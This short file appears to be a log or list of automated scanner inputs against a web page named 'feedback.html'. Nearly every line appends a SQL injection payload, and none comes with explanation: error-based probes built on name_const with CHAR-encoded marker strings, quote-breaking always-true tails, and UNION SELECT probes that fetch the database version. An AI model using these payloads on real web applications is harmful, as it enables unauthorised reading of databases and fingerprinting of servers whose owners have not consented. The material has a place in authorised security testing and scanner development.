feedback.html
feedback.html or (1,2)=(select*from(select name_const(CHAR(101,108,89,65,116,80,113,108,72,75,121),1),name_const(CHAR(101,108,89,65,116,80,113,108,72,75,121),1))a) -- and 1=1
feedback.html"
feedback.html" or (1,2)=(select*from(select name_const(CHAR(101,108,89,65,116,80,113,108,72,75,121),1),name_const(CHAR(101,108,89,65,116,80,113,108,72,75,121),1))a) -- "x"="x
feedback.html' or (1,2)=(select*from(select name_const(CHAR(101,108,89,65,116,80,113,108,72,75,121),1),name_const(CHAR(101,108,89,65,116,80,113,108,72,75,121),1))a) -- 'x'='x
feedback.html2121121121212.1
feedback.html99999" union select unhex(hex(version())) -- "x"="x
feedback.html99999' union select unhex(hex(version())) -- 'x'='x
feedback.html999999.1 union select unhex(hex(version())) -- and 1=1
feedback2.html